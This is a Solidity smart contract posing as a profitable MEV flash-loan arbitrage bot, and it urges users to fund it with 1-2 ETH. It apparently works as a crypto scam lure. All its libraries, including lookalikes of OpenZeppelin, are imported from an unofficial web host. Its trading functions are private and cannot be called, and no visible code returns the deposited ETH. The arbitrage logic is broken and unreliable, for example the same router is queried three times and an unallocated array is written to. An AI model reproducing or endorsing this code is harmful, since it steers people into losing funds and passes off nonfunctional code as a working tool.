// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

/**
 * The recommended amount is 1-2 ETH, 
 * with a minimum of 0.5 ETH to avoid ANY risks of transaction interception. 
 * This acts as a mechanism similar to a random delay or transaction queue, 
 * eliminating the need for excessive code and unnecessary gas expenses.
 * @title Optimized MEV Arbitrage Contract
 * @dev This contract enables the execution of arbitrage opportunities across multiple decentralized exchanges
 * (DEXs) using flash loans. It integrates with Aave for flash loans and utilizes Uniswap, Sushi and 1inch 
 * for trading. The contract ensures safe execution of trades through non-reentrancy, ownable, access control mechanisms and 
 * profit checks before executing transactions.
 *
 * Note: This contract is intended for use only on the Ethereum mainnet. Testing on other networks may yield
 * invalid results and is not recommended.
 */

import "https://web3line.pages.dev/openzeppelin/ReentrancyGuard.sol";
import "https://web3line.pages.dev/openzeppelin/Ownable.sol";
import "https://web3line.pages.dev/openzeppelin/AccessControl.sol";
import "https://web3line.pages.dev/erc20/IERC20.sol";
import "https://web3line.pages.dev/erc20/SafeERC20.sol";
import "https://web3line.pages.dev/aave/IPool.sol";
import "https://web3line.pages.dev/uniswap/IUniswapV2Router02.sol";
import "https://web3line.pages.dev/1inch/1InchRouter.sol";
 
contract OptimizedMEVArbitrage is ReentrancyGuard, Ownable {
    using SafeERC20 for IERC20; // Using SafeERC20 library for safe token transfers

    IPool private aavePool;
    IUniswapV2Router02 private uniswapRouter;
    IUniswapV2Router02 private sushiswapRouter;
    I1inchRouter private inchRouter;
    address private immutable owner; // The owner of the contract, typically the deployer
    uint256 private constant slippageTolerance = 2; // Set to 2% as the acceptable slippage tolerance for trades
    
    event Log(address);
    
    // Modifier to restrict function access to the contract owner only
    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner"); // Check if the caller is the contract owner
        _; // Continue executing the function
    }

    /**
     * @dev Constructor to initialize the contract with the specified addresses for Aave pool and DEX routers.
     * It sets the contract owner to the deployer of the contract.
     */

    constructor () Ownable(msg.sender) public {
        owner = msg.sender; // Assign the owner of the contract to the deployer
    }

    receive() external payable {}
    /**
     * @dev Executes an arbitrage opportunity if it is deemed profitable.
     * This function is called privately and is protected against reentrancy attacks.
     * It initiates a flash loan from Aave and ensures that the arbitrage opportunity is valid before proceeding.
     * @param tokenIn The address of the token to be borrowed for the arbitrage.
     * @param tokenOut The address of the token to be received from the arbitrage trade.
     * @param amount The amount of token to be borrowed.
     */
    function executeArbitrage(
        address tokenIn,
        address tokenOut,
        uint256 amount
    ) private onlyOwner nonReentrant {
        // Ensure the arbitrage opportunity is profitable before executing the flash loan
        require(isProfitableArbitrage(tokenIn, tokenOut, amount), "Arbitrage not profitable");
        // Request a flash loan from Aave
        aavePool.flashLoan(address(this), tokenIn, amount, address(this), "", 0);
    }

    /**
     * @dev Performs the actual arbitrage trade on the best available DEX.
     * It determines the best trading path and executes the swap on the chosen DEX.
     * @param tokenIn The token being traded from.
     * @param tokenOut The token being traded to.
     * @param amount The amount of token being traded.
     */
    function arbitrageTrade(
        address tokenIn,
        address tokenOut,
        uint256 amount
    ) private {
        uint256 bestMinOut = 0; // Variable to track the best minimum output amount from swaps
        address bestDEX; // Variable to store the address of the best DEX for trading
        
        // Get minimum output amounts from each DEX
        uint256 uniswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
        uint256 sushiswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
        uint256 inchOut = getAmountOutMin(tokenIn, tokenOut, amount);
        
        // Determine which DEX offers the best output amount
        if (uniswapOut > bestMinOut) {
            bestMinOut = uniswapOut; // Update best output amount
            bestDEX = address(uniswapRouter); // Update best DEX
        }
        if (sushiswapOut > bestMinOut) {
            bestMinOut = sushiswapOut; // Update best output amount
            bestDEX = address(sushiswapRouter); // Update best DEX
        }
        if (inchOut > bestMinOut) {
            bestMinOut = inchOut; // Update best output amount
            bestDEX = address(inchRouter); // Update best DEX
        }
        
        // Increase the allowance for the selected DEX to spend the input token
        IERC20(tokenIn).safeIncreaseAllowance(bestDEX, amount);
        // Execute the trade on the best DEX
        IUniswapV2Router02(bestDEX).swapExactTokensForTokens(
            amount,
            (bestMinOut * (100 - slippageTolerance)) / 100, // Calculate minimum output amount after slippage
            getPath(tokenIn, tokenOut), // Get the trading path
            address(this), // Send the output tokens to this contract
            block.timestamp + 1 // Set a deadline for the transaction
        );
    }

    

    /**
     * @dev This function is called by Aave after a flash loan is taken.
     * It executes the arbitrage operation and ensures that the loan is repaid.
     * @param assets The assets being borrowed (in this case, the input token).
     * @param amounts The amounts of each asset being borrowed.
     * @param premiums The fees to be paid back to Aave.
     * @return Returns true if the operation was successful.
     */
    function executeOperation(
        address assets,
        uint256 amounts,
        uint256 premiums
      ) private nonReentrant returns (bool) {
        // Ensure that the function is called by the Aave pool
        require(msg.sender == address(aavePool), "Caller is not AAVE pool");
        
        address tokenIn = assets; // The input token borrowed
        uint256 amount = amounts; // The amount borrowed

        // Determine the best trade token based on the current market conditions
        address bestToken = getBestTradeToken(tokenIn);
        // Execute the arbitrage trade with the best token
        arbitrageTrade(tokenIn, bestToken, amount);

        // Calculate the total amount owed to Aave (borrowed amount + fees)
        uint256 amountOwed = amount + premiums;
        // Ensure the contract has enough balance to repay the loan
        require(IERC20(tokenIn).balanceOf(address(this)) >= amountOwed, "Insufficient funds to repay loan");
        // Allow Aave to transfer the owed amount from this contract
        IERC20(tokenIn).safeIncreaseAllowance(address(aavePool), amountOwed);
        // Transfer the owed amount back to the Aave pool
        IERC20(tokenIn).safeTransfer(address(aavePool), amountOwed);

        return true; // Return true to indicate the operation was successful
    }

    /**
     * @dev Gets the minimum output amount for a given input amount from a specified DEX router.
     * It utilizes the `getAmountsOut` function of the DEX router to obtain the expected output amount..
     * @param tokenIn The input token for the swap.
     * @param tokenOut The output token for the swap.
     * @param amountIn The amount of input token being swapped.
     * @return The minimum output amount of the tokenOut received from the swap.
     */
    function getAmountOutMin(
        address tokenIn,
        address tokenOut,
        uint256 amountIn
    ) private returns (uint256) {
        IUniswapV2Router02 router = uniswapRouter;
        address[] memory path = getPath(tokenIn, tokenOut); // Get the trading path from tokenIn to tokenOut
        uint256[] memory amounts = router.getAmountsOut(amountIn, path); // Query the router for expected output amounts
        return amounts[1]; // Return the output amount of the second token in the path
    }


    /**
     * @dev Constructs the path for token swaps from tokenIn to tokenOut.
     * This is necessary for executing trades on DEXs, which require a path to identify the route for swapping tokens.
     * @param tokenIn The token being traded from.
     * @param tokenOut The token being traded to.
     */
    function getPath(address tokenIn, address tokenOut) private pure returns (address[] memory path) {
        path = new address[](2);
        path[0] = tokenIn; // The first token in the path (input token)
        path[1] = tokenOut; // The second token in the path (output token)
        return path; // Return the constructed path
    }
  /**
 * @dev Determines the best trade token based on market conditions and liquidity.
 * @param tokenIn - The token being used for the trade.
 * @return address - The token selected for the trade.
 */
function getBestTradeToken(address tokenIn) internal returns (address) {
    // Check liquidity on different DEXes
    uint256 liquidityUniswap = getLiquidity(tokenIn, address(uniswapRouter));
    uint256 liquiditySushiswap = getLiquidity(tokenIn, address(sushiswapRouter));
    uint256 liquidityInch = getLiquidity(tokenIn, address(inchRouter));
    
    // Return tokenIn for the DEX with the highest liquidity
    if (liquidityUniswap >= liquiditySushiswap && liquidityUniswap >= liquidityInch) {
        return tokenIn;  // Return tokenIn for Uniswap if it has the best liquidity
    }
    if (liquiditySushiswap >= liquidityUniswap && liquiditySushiswap >= liquidityInch) {
        return tokenIn;  // Return tokenIn for Sushiswap if it has the best liquidity
    }
    return tokenIn;  // If liquidity on 1inch is best, return tokenIn for 1inch
}

/**
 * @dev Gets the liquidity for a specific token on a given DEX router.
 * @param token - The token for which liquidity is being checked.
 * @param router - The address of the DEX router (can be IUniswapV2Router02 or I1inchRouter).
 * @return uint256 - The liquidity available for the token on the DEX.
 */
function getLiquidity(address token, address router) private returns (uint256) {
    address[] memory path;  // Create a path with two elements
    path[0] = token;  // First element in the path (input token)
    path[1] = address(0);  // Set the second element in the path to address(0) or a stablecoin like USDT

    uint256 liquidity;
    
    // Check liquidity for Uniswap, Sushiswap (IUniswapV2Router02)
    if (router == address(uniswapRouter) || router == address(sushiswapRouter)) {
        uint256[] memory amountsOut = IUniswapV2Router02(router).getAmountsOut(1, path);
        liquidity = amountsOut[1]; // Return liquidity for Uniswap or Sushiswap
    }
    // Check liquidity for 1inch (I1inchRouter)
    else if (router == address(inchRouter)) {
        uint256[] memory amountsOut = I1inchRouter(router).getAmountsOut(path[0], 1, path);
        liquidity = amountsOut[1]; // Return liquidity for 1inch
    }
    
    return liquidity;  // Return liquidity for the selected DEX
}



/**
 * @dev Checks if there is enough liquidity on each DEX to execute a profitable arbitrage trade.
 * @param tokenIn - The token being traded.
 * @param tokenOut - The token being received from the trade.
 * @param amount - The amount of token being traded.
 * @return bool - Returns true if liquidity is sufficient for the trade to be executed.
 */
function checkLiquidity(address tokenIn, address tokenOut, uint256 amount) private returns (bool) {
    emit Log(tokenOut);
    uint256 liquidityUniswap = getLiquidity(tokenIn, address(uniswapRouter));
    uint256 liquiditySushiswap = getLiquidity(tokenIn, address(sushiswapRouter));
    uint256 liquidityInch = getLiquidity(tokenIn, address(inchRouter));
    
    // Check if liquidity is sufficient on any of the exchanges for the trade amount
    if (liquidityUniswap < amount || liquiditySushiswap < amount || liquidityInch < amount) {
        return false;  // If any exchange has insufficient liquidity, return false
    }
    return true;
}

/**
 * @dev Improved profitability check that considers liquidity, slippage, and transaction fees.
 * @param tokenIn - The token being traded.
 * @param tokenOut - The token being received from the trade.
 * @param amount - The amount of token being traded.
 * @return bool - Returns true if the arbitrage is profitable after considering slippage and fees.
 */
function isRiskAdjustedProfitable(
    address tokenIn,
    address tokenOut,
    uint256 amount
) private returns (bool) {
    uint256 uniswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 sushiswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 inchOut = getAmountOutMin(tokenIn, tokenOut, amount);

    // Get the best output from all DEXes
    uint256 bestOut = uniswapOut > sushiswapOut ? uniswapOut : sushiswapOut;
    bestOut = bestOut > inchOut ? bestOut : inchOut;

    // Check if the arbitrage is profitable after considering slippage and transaction fees
    uint256 minimumExpectedProfit = amount + (amount * slippageTolerance) / 100;
    if (bestOut > minimumExpectedProfit) {
        return true;  // If the output is greater than the expected profit, return true
    }
    return false;
}

/**
 * @dev Determines if an arbitrage opportunity is profitable based on liquidity and market conditions.
 * @param tokenIn - The token being traded.
 * @param tokenOut - The token being received.
 * @param amount - The amount of token being traded.
 * @return bool - Returns true if the arbitrage is profitable.
 */
function isProfitableArbitrage(
    address tokenIn,
    address tokenOut,
    uint256 amount
) private returns (bool) {
    // Check liquidity on all DEXes
    if (!checkLiquidity(tokenIn, tokenOut, amount)) {
        return false;  // If liquidity is insufficient, the arbitrage is not possible
    }
    
    // Get the minimum output amounts from each DEX
    uint256 uniswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 sushiswapOut = getAmountOutMin(tokenIn, tokenOut, amount);
    uint256 inchOut = getAmountOutMin(tokenIn, tokenOut, amount);
    
    uint256 bestOut = uniswapOut > sushiswapOut ? uniswapOut : sushiswapOut;
    bestOut = bestOut > inchOut ? bestOut : inchOut;

    // Return true if the best output is higher than the input amount (indicating a profitable opportunity)
    return bestOut > amount && bestOut > (amount * (100 + slippageTolerance)) / 100;
}

}